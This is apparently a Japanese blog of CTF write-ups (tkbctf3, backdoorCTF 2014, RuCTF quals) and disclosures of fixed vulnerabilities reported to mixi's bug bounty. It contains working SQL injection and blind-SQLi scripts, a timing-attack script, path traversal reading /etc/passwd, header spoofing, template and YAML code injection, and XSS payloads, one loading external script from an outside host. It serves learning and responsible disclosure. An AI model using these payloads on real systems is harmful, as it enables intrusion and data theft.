tkbctf3 Write-up

tkbctf3

3位だった。

Misc 100 Real World TeX

こんな感じの謎のtexファイル。16進数を文字に直し、^^やKKを削除し、ZVHNをそれぞれ\スペース{}に置換とするとtexっぽくなるけど、IやGをどう処理して良いのか分からなかった。

^^5c^^66^^75^^74^^75^^72^^65^^6c^^65^^74^^7e ^^5c^^63^^61^^74^^63^^6f^^64^^65^^60K7
KK5cKK65KK6eKK64KK6cKK69KK6eKK65KK63KK68KK61KK72- KK5cKK73KK74KK72KK69KK6eKK67KK60
KK7eKK60I13KK7eKK60G10KK5cKK6cKK65KK74 IKK7eI86G10I83G7I72G1I90V0I78V2I80G6I82G5

Network 100 Our Future

IPv6でアクセスするとキーが表示される。我が家はIPv4なので、↓のサイトを使った。

http://www.ipv6proxy.net/

InexhaustibleEnergy

Crypto 200 The Deal

520.421.926.48.56.914.402.585.81.824.826.115.515.472.522.397.116.789.415.525.…

こんな感じの暗号分と、暗号化するウェブサイトが与えられる。暗号化するウェブサイトで色々試すと、平文の各文字の文字コードに鍵から算出される値を足して、941 → 520.421のように2個の値に分ける暗号化だと分かる。

2個ずつ足し合わせて、

520.421.926.48.56.914.402.585.81.824.826.115.515.472.522.397.116.789.415.525.…

941.974.970.987.905.941.987.919.905.940.…

あとは「鍵から算出される値」を全探索すれば良い。873だった。

Dear Dr. C…
FreePizza!ComeAndGetIt

Forensics 350 Is the order a FAT?

FAT12のイメージ、実はexFATらしい。解けなかった。

Binary 300 Penalty

ブートセクタ。ブートセクタのイメージは0x7c00に読み込まれる。またプログラムがINTnを実行したときは、4n番地の関数が、スタックにINTnの次のアドレスが積まれた状態で呼び出される。このプログラムは、0x000cを0x88に書き換え、INT3を使って難読化をしている。

00000088  5D                pop bp
00000089  4D                dec bp
0000008A  837600AA          xor word [bp+0x0],byte -0x56
0000008E  55                push bp
0000008F  CF                iretw

INT3と次の命令をそれぞれ0xaaと0xffでxorしている。次の命令がxor 0xffされることに気が付かず、時間が掛かった。入力された文字列をecxに読み込み、チェックしているので、ecxを全探索する。

#include <stdio.h>

unsigned int rol(unsigned int n, unsigned int s){return n<<s|n>>(32-s);}

bool check(unsigned int ecx)
{
    unsigned int esi, edi, edx, ebx, eax;
    esi=0xd76aa478;
    edi=0xfffa3942;
    edx=ecx;
    edx=rol(edx,16);

    //  11c
    edi^=esi;

    //  120
    ebx=edi;
    ebx+=ecx;
    eax=ebx;
    ebx=rol(ebx,1);
    ebx+=eax;
    ebx-=1;
    eax=ebx;
    ebx=rol(ebx,4);
    ebx^=eax;
    esi^=ebx;

    //  141
    ebx=esi;
    ebx+=edx;
    eax=ebx;
    ebx=rol(ebx,2);
    ebx+=eax;
    ebx+=1;
    eax=ebx;
    ebx=rol(ebx,8);
    ebx^=eax;
    ebx+=ecx;
    eax=ebx;
    ebx=rol(ebx,1);
    ebx-=eax;
    eax=ebx;
    eax|=esi;
    ebx=rol(ebx,16);
    ebx^=eax;
    edi^=ebx;

    //  17c
    ebx=edi;
    ebx+=edx;
    eax+=ebx;
    ebx=rol(ebx,2);
    ebx+=eax;
    ebx+=1;
    esi^=ebx;

    //return esi==0x639fd029 && edi==0x2a5891ff;
    return esi==0x639fd029 || edi==0x2a5891ff;
}

int main()
{
    for (unsigned int i=0; i<0xffffffff; i++)
        if (check(i))
            printf("%08x\n", i);
}

checkの最後の条件はANDだが、どこかで写し間違えたのかesiが正しい値にならなかった。ORでも答えは1個しか出てこない。ecx=0x3108202dでチェックが通ることが分かる。0x31, 0x08, 0x20, 0x2dをキーボードのスキャンコードから探す。

N7DX

Web 103 From the Northern Country

指定されたページに北朝鮮からアクセスしろという問題。北朝鮮のプロキシなんて見つからなかったけど、逆で北朝鮮の人が私を経由してアクセスしていると装えば良い。X-Forwarded-Forヘッダ。

nc north.tkbctf.info 80
GET / HTTP/1.1
Host: north.tkbctf.info
X-Forwarded-For: 175.45.176.0

HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Sun, 04 May 2014 09:06:12 GMT
Content-Type: text/plain
Content-Length: 21
Last-Modified: Sat, 03 May 2014 22:13:55 GMT
Connection: keep-alive
ETag: "53656a23-15"
Accept-Ranges: bytes

KEY{&#44277;&#44201;&#51204;&#51060;&#45796;}

キーが実体参照になっているのは、はてなスーパーpre記法のせい。北朝鮮の曲名らしい。
攻撃戦だ - Wikipedia

공격전이다

Misc 250 15-Puzzle

15パズルを解く。Stage nではn問出題される。真面目にソルバーを書こうとすると面倒なので、ここで公開されているプログラムをちょっと弄って、引数で盤面を受け取り、標準出力に答えを出すようにした。あとはPythonで。

import socket
import subprocess
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("203.178.132.117", 3939))

print s.recv(0x10000) #15-Puzzle ~

for i in range(100):
    for j in range(i+1):
        time.sleep(1)
        B = s.recv(0x10000)
        print "<",B,">"

        if len(B.split()[-16:])!=16:
            print "Error"
            exit(-1)

        cmd = "solve.exe "+" ".join(B.split()[-16:])
        print "cmd:",cmd
        p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
        ans = p.stdout.read()
        print "ans:",ans
        s.send(ans+"\n")

    print s.recv(0x10000) # Stage n cleared.

何故か間違っていると言われることがあるけど、何回か試したらフラグが手に入った。

Welcome. We are the fafrotskies.
Your answers must be terminated by an empty line, don't forget!

===== 15-Puzzle =====
Solve 15-Puzzle!
The four lines make one set of input.
Zero denotes the missing tile.
If the input puzzle is solvable then print the number of the shortest steps to s
olve the puzzle.
If the puzzle is not solvable then print the line "NO".



< Stage #1
Enjoy!
#1
1 2 4 0
5 10 3 8
9 7 6 12
13 14 11 15
>
cmd: solve.exe 1 2 4 0 5 10 3 8 9 7 6 12 13 14 11 15
ans: 9

Stage 1 cleared.

< Stage #2
The 2nd stage!
#1
1 2 7 3
  :
  :
9 11 12 8
13 14 7 15
>
cmd: solve.exe 5 0 3 10 2 1 4 6 9 11 12 8 13 14 7 15
ans: 29

Complete! Flag is FLAG{N0_R4M3N_N0_L1F3!!}

<  >
Error
N0_R4M3N_N0_L1F3!!

Steganography 200 Haiku

16x16のモノクロのビットマップが与えられる。白を1、黒を0として、Shift-JISとして読むと俳句が出てくる。

やれ打つなはえが手をする足をする

Binary 500 game

SSHのIDとパスワードが与えられて、アクセスするとsuidされたゲームが置いてある。クイズと神経衰弱。クイズの最後にフラグがメモリ上に読み込まれる。神経衰弱は0<=x<13 && 0<=y<4とチェックすべきところ、0<=x<13 && 0<=y<13とチェックしているので、範囲外のメモリがちょっと読める。うまいことメモリのレイアウトを調節するらしいけど、解けなかった。
クイズの回答。

HAL sang this song
Daisy Bell

'To be or not to be, that is the question'
Hamlet

Appolo 11 landed in this site
????????????????

Trinity set this as root password
Z1ON0101

The name of this city is used as the codename of Windows 95
Chicago

The first 10 digits of pi (X in 3.XXXXXXXXXX)
1415926535

The most accurate mass in the following for LD50 of caffeine in humans per kilogram of body mass; 50mg, 200mg, 300mg, 500mg and 700mg
200mg

One definition of this is entering a private place with the intent of listeningsecretly to private conversation
eavesdropping

With much "Gravity", this young fellow of Trinity became the Lucasian Professorof Mathematics in 1669
Isaac Newton

It's New Zealand's second-largest city
Christchurch

アポロ11号の問題は答えが分からなかった。静かの海だと思うけど、Tranquillitatisでは1文字足りない。脆弱性で答えが盗めた問題もあるけど、アポロ11号は出てこなかった(´・ω・`)

Web 250 miocat

指定されたサイトにアクセスすると、URLを入力するフォームがあった。何かサーバーが外にアクセスできないような挙動をしていて、後回しにしていたら、皆解いていた。

http://../../../etc/passwd

で、/etc/passwdが読める。

 :
syslog:x:102:105::/home/syslog:/bin/false
miocat:x:1001:1001:Miocat,,,Read /home/miocat/flag:/home/miocat:/bin/bash
chris:x:1000:1000::/home/chris:/bin/bash
http://../flag

でフラグが出てくる。良く分からない。

ElizabethDoesntSayLazy

mixiに報告した脆弱性2

mixiの脆弱性報告制度(すでに終了している)で報告して、修正された脆弱性

youbrideの有料機能を無料で使える問題

  • 2014/03/12 報告
  • 2014/03/18 修正完了
  • 2014/03/24 75,000円Amazonギフトが届いた

youbridemixiの子会社の株式会社Diverseが運営する婚活サイト。一時、制度の対象だった。
youbrideでは無料ユーザーはプロフィールの公開条件は「全体に公開」しか選べない。

ChromeのDeveloper Toolで他の選択肢を有効にしたら、「全体に公開」以外の公開条件も選べてしまった。

mixiワードのXSS

  • 2014/03/31 報告
  • 2014/03/31 修正完了
  • 2014/04/09 125,000円Amazonギフトが届いた

mixiワードXSS可能な脆弱性があった。

「猫」には、キャットタワー、キャットフード、猫の里親募集、捨て猫、子猫、イルカ、ペンギンなどのワードが関連しており、…

の部分。mixiワードはコミュニティを作成し、関連ワードから追加できる。出力時には何もエスケープされないけれど、文字数が30文字以内、/, (, )などが全角文字に変換されるという制限がある。

<script>alert(0)</script>

というようにスクリプトを埋め込もうとしても、scriptタグが閉じられない。後続の文字がスクリプトとして認識されると文法的にエラーになってスクリプトが動かない。スクリプト中で()が使えないのもつらい。

<script src="http://example.com/malicious.js">

と外部のスクリプトを読み込もうにも/が使えない。
答え

<script src=&#47&#47イマ.net>

27文字。属性値ならば実体参照が使える。短いドメインを持っていて良かった。報告したときは、イマ.netのトップページがJavaScriptを返すようにした。ちなみに、mixiワードは一度作ったら消せないらしい。変なワードを作ってしまって申し訳ない。

backdoorCTF 2014 Write-up

backdoorCTFにチームsuperflipとして参加した。2630点21位。サクサク解けて面白かった。フラグは見つけたフラグのMD5ハッシュを投稿するものが多かったので、一応答えにもMD5ハッシュを付けている。指定された問題以外にもCSSとかに隠しフラグがあったらしい。

Crypto 10

画像ファイルが問題。末尾にzipファイルが付いている。解凍すると画像が出てくる。この画像も末尾にzipファイルが付いている。

6307834008eb8edbe18c7a20ee4a909d

Crypto 100

公開鍵と暗号化したファイルが渡されて復号する問題。220bitのRSAなので正攻法で解ける。

>openssl rsa -pubin -text < id.pub
Public-Key: (220 bit)
Modulus:
    0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22:64:77:
    28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b
Exponent: 65537 (0x10001)

で、nとeを取り出す。msieveでnを素因数分解

>msieve 0x0c09e7ec78f2f8ada9953448226477281b099d1835702b4de5075d6b

sieving in progress (press Ctrl-C to pause)
7296 relations (3342 full + 3954 combined from 37569 partial), need 7248
sieving complete, commencing postprocessing

>tail msieve.log
Sun Mar 23 18:24:31 2014  filtering completed in 3 passes
Sun Mar 23 18:24:31 2014  matrix is 6583 x 6647 (0.8 MB) with weight 180566 (27.
17/col)
Sun Mar 23 18:24:31 2014  sparse part has weight 180566 (27.17/col)
Sun Mar 23 18:24:31 2014  commencing Lanczos iteration
Sun Mar 23 18:24:31 2014  memory use: 0.8 MB
Sun Mar 23 18:24:31 2014  lanczos halted after 106 iterations (dim = 6580)
Sun Mar 23 18:24:31 2014  recovered 63 nontrivial dependencies
Sun Mar 23 18:24:31 2014  prp34 factor: 1090660992520643446103273789680343
Sun Mar 23 18:24:31 2014  prp34 factor: 1162435056374824133712043309728653
Sun Mar 23 18:24:31 2014  elapsed time 00:00:41

n = p*q = 1090660992520643446103273789680343*1162435056374824133712043309728653
このpとqから秘密鍵を作る。opensslで作れるかもしれないけど、方法が分からないので自作スクリプト

import sys

p = 1090660992520643446103273789680343
q = 1162435056374824133712043309728653
e = 65537
n = p*q

def exgcd(x,y):
    r0,r1 = x,y
    a0,a1 = 1,0
    b0,b1 = 0,1
    while r1>0:
        q1 = r0/r1
        r2 = r0%r1
        a2 = a0-q1*a1
        b2 = b0-q1*b1
        r0,r1 = r1,r2
        a0,a1 = a1,a2
        b0,b1 = b1,b2
    return a0,b0,r0

d = exgcd(e,(p-1)*(q-1))[0] + (p-1)*(q-1)
exp1 = d % (p-1)
exp2 = d % (q-1)
coef = pow(q,p-2,p)

def int2bin(d):
    t = "%x"%d
    return (t if len(t)%2==0 else "0"+t).decode("hex")

def enclen(l):
    if l<0x80:
        return chr(l)
    else:
        t = int2bin(l)
        return chr(0x80+len(t))+t

def encint(n):
    t = int2bin(n)
    return "\x02"+enclen(len(t))+t

t = "".join(map(encint,[0,n,e,d,p,q,exp1,exp2,coef]))
t = "\x30"+enclen(len(t))+t

print "-----BEGIN RSA PRIVATE KEY-----"
print t.encode("base64")[:-1]
print "-----END RSA PRIVATE KEY-----"

秘密鍵

-----BEGIN RSA PRIVATE KEY-----
MIGUAgEAAhwMCefsePL4ramVNEgiZHcoGwmdGDVwK03lB11rAgMBAAECHBEAKDHMN6qwa6wVkcxn
IPJ/M2rTKZczAqRVdykCDjXGE7vhg+gGdPSEi2rXAg45T/49/Di1EaB7E0sDjQIODIBULiWriNGX
dxEpaFkCDianNKlJelVkVf+ru2PhAg4BH+uiLIU435fC/R1BUA==
-----END RSA PRIVATE KEY-----

復号。

>openssl rsautl -decrypt -inkey id.key < ciphertext.txt
Loading 'screen' into random state - done
random_prime_gen
random_prime_gen
184cae04d3535156e2b0847cfe1eb441

Crypto 200-1

問題文に16進数の文字列が書かれていた。

1f8b08089c452c530003737465703900edd85b6ec3300c44d1ffae86dcffe61ac7e1437403e42b1a1717……

gzipで解凍

010011000101010101100100010000100101010100110001011011000100001001010010010001100101……

↓8文字ごとに区切って変換

LUdBU1lBRFQqJi0yNS1HQVNZQURUKiYtMzMtR0FTWUFEVComLTM3LUdBU1lBRFQqJi0yNS1HQVNZQURUKiYt……

Base64で復号

-GASYADT*&-25-GASYADT*&-33-GASYADT*&-37-GASYADT*&-25-GASYADT*&-33-GASYADT*&-35-GASYA……

↓良く分からないけど、25, 33, 37, …を16進数だと思って復号

%37%35%36%37%36%37%36%33%33%61%32%66%32%66%36%33%36%65%36%36%36%37%37%32%32%65%36%38……

↓パーセントエンコーディングだと思って復号

756767633a2f2f636e6667722e686f686167682e70627a2f373133303535342f0a

↓16進数

uggc://cnfgr.hohagh.pbz/7130554/

↓ROT13

http://paste.ubuntu.com/7130554/

サイトにフラグが書いてある。

5d3144233c46404dba4afc766601b997

Crypto 200-2

解けなかった。ピーピー音が鳴っているwavファイル。音程なり周波数なりを変換するのだろか?

Web 10

問題文のページのHTTPヘッダに答えがある。

Backdoor-CTF:28b3324be8b003ee7e1d0d153fad3c32
Connection:Keep-Alive
Content-Encoding:gzip
Content-Length:1119
Content-Type:text/html
Date:Sun, 23 Mar 2014 09:37:23 GMT
Keep-Alive:timeout=5, max=100
Server:Apache/2.2.22 (Ubuntu)
Vary:Accept-Encoding
X-Powered-By:PHP/5.3.10-1ubuntu3.10
28b3324be8b003ee7e1d0d153fad3c32

Web 30

指定されたサイトに行くと、auth=falseというCookieが設定されるので、auth=trueに変えてアクセス。

aeba37a3aaffc93567a61d9a67466fdf

Web 50

解けなかった。他の人の解答を見ると、sqlmapでブラインドSQLインジェクションと書いてある。コメントは/* */しか使えないし、UNION SELECT 〜も動かなかったし、50点にしては難しいから他に解法がありそうだけど……。ツールが使えるから簡単という事だろうか。

追記

Hint: H4x0r loves using paranthesis in his SQL queries

というヒントがあった。

xxx') UNION SELECT 0,table_name,0 FROM information_schema.tables # 
xxx') UNION SELECT 0,column_name,0 FROM information_schema.columns WHERE table_name='the_flag_is_over_here' # 
xxx') UNION SELECT 0,twisted_column_name,0 FROM the_flag_is_over_here # 

を検索すれば良い。#と--がダメで/* */がOKという時点でDBエンジンが何かすら分からなかったけど、括弧か。覚えておこう……。

d5abaf391f7bc7e7cda8c128e5ca3187

Web 100-1

画像のURLを送ると点数が返ってくるウェブサービス。サーバーを動かして、そのサーバーのURLを指定すると、

$ nc -l 7777
GET / HTTP/1.1
Host: sanya.sweetduet.info:8543
Accept: */*
X-Referrer: 92702a9381515494689f5d14f85a83b7.php

謎のヘッダが付いている。92702a9381515494689f5d14f85a83b7.phpを開くとコメントにフラグが書いてある。

f556b9a48a3ee914f291f9b98645cb02

Web 100-2

Underscore.jsでページを生成するウェブサービスソース。データだけではなく、テンプレートも指定できるので、

<%=process.env.FLAG%>

を送ると環境変数が読める。

16367694ede9faef0efec36845e18ceb

Web 200

投稿したキーが正しいかどうかを判定するウェブサービスブルートフォースを防ぐために、

    for($i=0;$i<strlen($key);$i++)
    {
        if($key[$i]!=$actual_key[$i])
            die("Wrong key");
        usleep(200000);
    }

と、0.2秒のスリープが入っている。タイミングアタック。1回だけだと誤差があるので、1種類の文字に付き10回アクセスして、それでも平均だとぶれるので、中央値を取った。

import time
import urllib

url = "http://backdoor.cognizance.org.in/problems/web200/submit.php?key="
cand = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

for c in cand:
    S = []
    for i in range(10):
        s = time.clock()
        d = urllib.urlopen(url+c+"aaaa").read()
        S += [time.clock()-s]
    S.sort()
    print c, (S[4]+S[5])/2

    # print c, urllib.urlopen(url+"Z9A9"+c).read()

1文字ごとにurlopenのところを修正した。

X 0.15236482422
Y 0.159946188537
Z 0.363095763259
a 0.152403469308
b 0.144447502835

7 0.344034437878
8 0.344380967658
9 0.553629539431
A 0.344418701306
B 0.36404748971

こんな感じの時間。

ee7528e19f87ba00b4b4c721b646a8a2

Web 250-1

指定したYAMLのデータを指定したMarkdownの中に埋め込んで表示するウェブサービスソース。JS-YAMLYAML中にJavaScriptの関数を埋め込めるらしい。怖い((((((;゚Д゚))))))

---
f: !!js/function >
  function f() {
    return process.env.FLAG
  }
---
{{f}}

を送るとフラグが表示された。

fb1f85e4f37eb3bf31141cb1dcce1caf

Web 300

ブラインドSQLインジェクション。check.phpにアクセスする前に、status.phpにアクセスしないと弾かれる。

# sql = "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema!='mysql' AND table_schema!='information_schema'"
# sql = "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='the_elusive_flag'"
sql = "SELECT group_concat(this_column_has_the_flag) FROM the_elusive_flag"

import urllib, urllib2, cookielib

o = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
r = ""
for i in range(1,100):
    c = 0
    b = 0x80
    while b>0:
        d = o.open("http://backdoor.cognizance.org.in/problems/web300/status.php").read()

        s = "kusano' AND ascii(substring((%s), %s, 1)) < %s#" % (sql,i,c+b)
        d = o.open("http://backdoor.cognizance.org.in/problems/web300/check.php",
            urllib.urlencode({"username": s})).read()
        if "Please" in d:
            c += b
        b /= 2
    r += chr(c)
    print r

sqlをそれぞれの文字列にしたときの結果は、

the_elusive_flag,users
this_column_has_the_flag
9d4dcc5981b17bf37740c7dbabe3b294
9d4dcc5981b17bf37740c7dbabe3b294

Binary 10

バイナリ中に答えが見える。

$ ./bin10
Enter the password: a_few_basic_skills_will_do
The flag for this level is 40511702a6193f9b38d37699e676fd40
40511702a6193f9b38d37699e676fd40

Binary 100

処理を追うのが面倒だなと思ったら、条件分岐を潰すだけだった。0x000011F8の、0x74を0x75に書き換えて、JEをJNEにする。

$ ./bin100_2 aaa
Congrats! The flag for this level is : 94958e1c10707728ef965fe850eb98a1
94958e1c10707728ef965fe850eb98a1

Binary 200

ゴチャゴチャしたcppファイルが渡される。

vgg f = 0x7265616c6c795f69;

vgg f = 0x7265616c6c795f69LL;

にして、-trigraphオプションを付けたらコンパイルできた。

if(ll01<(ll01&-0x1))??<ff();ggg();%>

ff();ggg();

にするとフラグが表示された。

>gcc -trigraphs obfuscated2.cpp

>a.exe
8243101811275816809
just_another_FLaG

ちなみに、??<は、{になる。トライグラフ。昔のCで使えた。%>は}になる。ダイグラフ。最近のCで使える。

just_another_FLaG
a38834db6eb9d31e3c7e878bae3da748

Misc 10

pcapファイルが渡される。解けなかった。

追記
Beginners CTF blog: Backdoor CTF 2014 Miscellaneous-10
pcap中でアクセスしているURLにQRコードが置いてあった。

efb8f4cd67963a5652ee0aa2187b830a

Misc 150

ext2イメージファイル。解けなかった。
WindowsでもAutopsyで開ける。
/Music/mystery.wavにモールス信号が入っていて、復号すると、

THIS IS NOT THE FLAG YOU HAVE WASTED YOUR TIME DECRYPTING THIS

/$OrphanFiles/OrphanFile-1737 が

""" 
        
        Looks like something missing here!

"""

def decrypt(key,cipher):
    decipher = ''
    for i in range(len(cipher)):
        decipher+=chr(ord(cipher[i])+int(key[i]))
    return decipher


key = 'CDEFGHIJSTUVWXYZcdefghijstuvwxyzCDEFGHIJSTUVWXYZcdefghijstuvwxyz'
cipher = 'K]] qgm af l`] f]pl Af;L>! 9dd l`] n]jq Z]kl ^gj Ydd l`] [`Ydd]f_]k! 9f\ qgmj ^dY_: d]]l_)++/_d]]l'
flag = decrypt(key,cipher)
print flag

で、このプログラムは動かないけど、cipherの各文字に8を足すと、

See(you(in(the(next(InCTF)(All(the(very(best(for(all(the(challenges)(And(your(flagB(leetg1337gleet

どちらもハズレ。
historyを見ろというヒントに今気が付いた。/.bash_history中のhttp://paste.ubuntu.com/7130279/かなぁ。

934360b5b4901b727471b39455949a47

Misc 200

古いCPUのアセンブラと実行前のメモリの数値が渡される。ここを見ながら解読。

gun_kills_cadet_in_war
f57f4973ce9eb1c07c71ad3be3752c79

Misc 250-1

Wi-Fiをキャプチャしたファイルが渡されて、WPAキーの解析。ただし16進数で末尾は007。

0007
1007
2007
3007
4007
5007
6007
7007
8007
9007
a007
b007
c007
d007
e007
f007
10007
11007
12007
 :

という辞書ファイルを作って、Aircrack-ngを使う。Windows用のGUIもあるので簡単。

                                 Aircrack-ng 1.2 beta2


                   [00:04:52] 891736 keys tested (3137.32 k/s)


                           KEY FOUND! [ e9b6f007 ]


      Master Key     : 57 F7 3C 8F 86 A1 0C C7 CD 82 F7 34 DB 8F 44 35
                       5F 3E 46 98 F1 C1 C7 C5 BF 45 A8 08 E2 67 1E 67

      Transient Key  : 57 5D 68 40 3A D9 81 52 C1 6E E3 20 66 0C 2F EC
                       C6 32 D4 03 04 20 71 07 14 DD 8A 77 32 BF DA EC
                       E1 F7 0A 2C 8F 5B C0 C5 13 44 BE 7B 67 29 56 74
                       FE 83 C7 8C 2A D3 A9 7E AD 0F C3 5B 07 75 3E A9

      EAPOL HMAC     : FA 08 DE B7 DA FE E3 6E 9C B2 0C 28 B3 5A 7B 36
e9b6f007
c578ddd79dc30186ba22714e6afe5f18

Misc 250-2

BMPファイルでログインするウェブサービスに指定のユーザーでログインしろという問題。画像の左上にRGB=(1,1,1)でログイン名が書かれている。

practice_makes_one_perfect
c16a3c8504985a8c91956c29f7338184

Misc 300

指定されたサーバーにアクセスすると

BackdoorCTF 2014

We dare you to send us a prime between
571746583247771
and
1002618112288883
(exclusive)
Enter your Prime:

と表示される。これは前座かと思ったら、これに答えるだけだった。ランダムに整数を生成して、ミラー-ラビン法で素数判定。

# coding: utf-8

import random
import socket
import time

# ミラー-ラビン素数判定法
def prime(n,k=32):
    if n==2:
        return True
    if n==1 or (n&1)==0:
        return False

    d = n-1
    while d&1 == 0:
        d >>= 1

    for _ in range(k):
        a = random.randint(1,n-1)
        t = d
        y = pow(a,t,n)
        while t!=n-1 and y!=1 and y!=n-1: 
            y = y*y%n
            t <<= 1
        if y!=n-1 and (t&1)==0:
            return False
    return True

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("128.199.215.224", 8080))

time.sleep(1)
t = s.recv(10000)
print t

a = int(t.split("\n")[3])
b = int(t.split("\n")[5])
while True:
    c = random.randint(a,b)
    if prime(c):
        break
print "c",c

s.send(str(c))
time.sleep(1)
print s.recv(10000)
understanding_things_is_the_key
7dbed87411062a582fdd25f544902685

Misc 100

解けなかった。指定されたユーザーに指定されたGitHubリポジトリにコミットさせよという問題。Organizationに加えてくれるので単にpushするだけだと思ったけど、ダメだった。

git commit --author

で名前を変えれば良かったらしい。

Trivia 10-1

AppleのSSLのソースが問題。

gotofail
9c00b580a9a1d022d62fa3e8506c3c51

Trivia 10-2

Who is Megaracer?

kimdotcom
148e6711a03f43a1955bcff667d967cc

Trivia 10-3, 10-4, 10-5

解けなかった(・3・)

追記
このサイトに答えが載っている。

mixiに報告した脆弱性1

mixiの脆弱性報告制度で報告して、修正された脆弱性。報酬がもらえるかどうかが分かったら追記する。

nohanaのパスワードリマインダーのXSS

  • 2013/10/02 報告
  • 2014/02/14 修正完了
  • 2014/03/25 報酬支払い対象外との連絡(´・ω・`)

http://nohana.parseapp.com/password_reminder/user_management.htmlにアクセスすると、

Right click here to save this page. Upload it to your own website and paste the URL in the "Parse Frame URL" app settings at Parse.com.

と表示され、hereの部分がJavaScriptでwindow.locationへのリンクになっていた。

http://nohana.parseapp.com/password_reminder/user_management.html#"><img src="x" onerror="alert(document.location)"><a href="

で、アラートが表示された。

mixi for Google Chrome extensionのXSS

  • 2013/10/10 報告
  • 2014/02/12 修正完了
  • 2014/03/25 報酬支払い対象外との連絡(´・ω・`)

mixi for Google Chrome extensionの通知を表示するHTMLがlocation.searchの内容をエスケープせずに書き出していた。

chrome-extension://dakhkopjacplahiabkhacgpmonpkhcgh/notification.html?data=%7B%22type%22:%22comment%22,%22count%22:%22%3Cmarquee%3Etest%3C/marquee%3E%22%7D

にアクセスするとmarqueeタグで文字が流れる。Manifest v2でCSPが有効だったのでスクリプトは動かせなかった。

LivlisのサポートページのXSS

  • 2013/12/20 報告
  • 2014/01/23 報酬支払い対象外との連絡(´・ω・`)

LivlisのサポートページWordPressのバージョンが古くてXSS可能だった。

http://docs.livlis.com/wp-includes/js/plupload/plupload.flash.swf?id=\%22));}catch(e){alert(1);}//

ユーザーのCookieの奪取とかはできなくても、*.livlis.com内に「移転します。今後はこちらのサイトからログインしてください」とか表示させられたら危険だと思うけど……騙される人はいないか。

STUDYPLUSのXSS

  • 2014/02/02 報告
  • 2014/02/03 制度の対象外との連絡
  • 2014/02/04 確認したら修正されていた

STUDYPLUSの教材名の部分(↓)のエスケープが漏れていた。

<img src=x onerror=alert(location)>

というタイトルで教材を追加するとアラートが表示された。この怪しげなタイトルの教材を本棚に追加してくれれば、他人のブラウザ上でもスクリプトが動く。
mixiスタディプラス株式会社の株式を持ってはいるものの、子会社ではなかったらしい。ごめんなさい。報告はスタディプラス株式会社に転送してくれた。

mixiギフトのアクセス制御不備

  • 2014/02/03 報告
  • 2014/02/12 修正完了
  • 2014/03/24 240,000円Amazonギフトが届いた

mixiギフトで、送信相手とかメッセージとかを入力していって、

http://mixi.jp/gift_select_payment.pl?postkey=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&birthday=0&card_id=yyyy

というURLになったところで、yyyyの部分を書き換えると、他人が送ったギフトカードの内容が表示された。

RuCTF 2014 Quals Write-up

RuCTF 2014 Qualsに、チームsuperflipとして1日だけ参加していた。310点182位(´・ω・`) RuCTF、問題数が50問もあって、どの問題も面白そうですごい。以下、解けなかったのもあるけど、挑戦した問題。

crypto 100. MD5

未知の文字列passwordにたいして、適当な文字列msgとmd5(password+msg)を求めよという問題。ただし、
md5(password+"do test connection") = "b34c39b9e83f0e965cf392831b3d71b"
が問題文で与えられている。
典型的なLength extension attackHashPumpという便利ツールがあるので使うと楽。

$ ./HashPump -s b34c39b9e83f0e965cf392831b3d71b8 -d "do test connection" -a "hackhack" -k 10
25eacdeeaf207db6229130daeb9804a3
do test connection\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00hackhack

$ for ((i=1; i<32; i++))
> do
> ./HashPump -s b34c39b9e83f0e965cf392831b3d71b8 -d "do test connection" -a "hackhack" -k $i | python -c 'import sys; sys.stdout.write(raw_input()+" "+raw_input().decode("string_escape"))' | nc python27.quals.ructf.org 12337
> done
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Message accepted! The answer is RUCTF_CryptoIsFunAndEasy
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
Wrong signature
RUCTF_CryptoIsFunAndEasy

misc 100. Shredder

シュレッダーにかけられたスクリーンショットを復号しろという問題。ペイントで頑張った。

RUCTF_TO_SHRED_IS_NOT_ENOUGH

reverse 10. Harm

harm0597 discmagの中のragger.hscのmd5を答えよという問題。何が何だか分からないけど、ググって出てきたファイルで正解だった。

8fafa0b0ed4984edd8ffac5cd0f46089

reverse 300. Erl

Erlangのプログラムを解析する問題。

>erl
Eshell V5.9.2  (abort with ^G)
1> io:format("~p",[beam_disasm:file(r)]).

で、逆アセンブルできる。{x,n}がスレッドローカル変数、{y,n}が関数ローカル変数で、{f,n}は{label,n}を指すらしい。ここにBEAM(ErlangVM?)のInstruction setがあるけど、古いのか載っていないinstructionも多くて断念。

reverse 400. PIN code

16bitプログラムを逆アセンブルする問題。

ndisasm -b 16 main.45c1ec963414c50855bcb1172dd808d2

で逆アセンブルできる。

>ndisasm -b 16 -e 621 main.45c1ec963414c50855bcb1172dd808d2

なら先頭621バイトをスキップ。プログラムはセクションも何も無くて、そのままメモリの0x100に貼り付けられる。
解析してみると、最初にa=0x16として、ファイルの0x3dから順に値cを読んで、a=A[a*10+(c-2)]と更新していき、a=0x14になったらOK、というプログラムだった。普通にダイクストラするだけで良さそう。ただし、10文字読んだら次は1文字目に戻る。a=0x14に辿り着くためには、最後は3, 6, 4, 7になっていないといけないので、最初の数字を7や、4, 7に固定して探索した。

A = [ord(c) for c in open("main","rb").read()][0x179:0x36d]
start = 0x16
P = [x-2 for x in [4,7]]
for p in P:
    start = A[start*10+p]

T = ["x"*100]*50
T[start] = ""
Q = [start]

while len(Q)>0:
    p = Q.pop(0)
    for i in range(10)[::-1]:
        q = A[p*10+i]
